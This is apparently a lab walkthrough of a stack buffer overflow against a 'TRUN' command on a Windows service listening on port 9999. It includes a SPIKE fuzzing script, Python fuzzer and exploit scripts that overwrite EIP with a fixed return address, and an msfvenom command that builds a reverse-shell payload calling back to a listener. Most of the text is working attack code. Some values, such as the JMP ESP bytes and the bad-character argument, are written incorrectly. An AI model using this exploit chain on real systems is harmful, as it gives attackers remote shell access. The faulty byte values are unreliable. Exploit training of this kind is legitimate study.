Let's connect to the server and find all the available commands in it If it is available then we'll write a .spk script and spike it using generic_send_tcp command
s_readline();
s_string("TRUN ");
s_string_variable("0");
./generic_send_tcp host port spike_script SPKVAR SPKSTR
After finding the vulnerable command, let's now fuzz it with 100 A's and iterate it till the program breaks (Here we wouldn't have overwritten the EIP)
#!/usr/bin/python
import sys, socket
from time import sleep
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.104',9999))
s.send(('TRUN /.:/' + buffer))
s.close()
sleep(1)
buffer = buffer + "A" * 100
except:
print("Fuzzing crashed at %s bytes" % str(len(buffer)))
sys.exit()
Now let's find the offset, where the program crashes using pattern_create.rb and run it (Here we have overwritten the EIP) - We'll now note the EIP overwritten address and use it in our pattern_offset.rb to find the exact offset - This now confirms the START of the EIP address
Now using the mona.py in our Immunity Debugger, we can find the available .dll modules which doesn't have any memory protections - At the same time we'll have to find the pointer address of that specific .dll using the JMP ESP addr (\xff\4e) - Now we have full control over the EIP to point at our malicious shellcode :)
Another way to find the JMP ESP address when there are no apt modules which have FALSE set to all the MEMORY PROCTECTIONS is
!mona jmp -r esp -cpb "\x00" # Include all the bad chars found
We'll have a RET address 0x625011af, now include it in our python script
#!/usr/bin/python
import sys, socket
shellcode = "A" * 2003 + "\xaf\x11\x50\x62" # Writing this in reverse because of the x86 arch little endian mapping
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.104',9999))
s.send(('TRUN /.:/' + shellcode))
s.close()
except:
print("Error !")
sys.exit()
Generate a shellcode via msfvenom and include it in our python script with nops (16 or 32 ) for some padding, set up a listener and we get a shell !
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.105 LPORT=1111 EXITFUNC=thread -f c -a x86 -b "\0x00" > payload
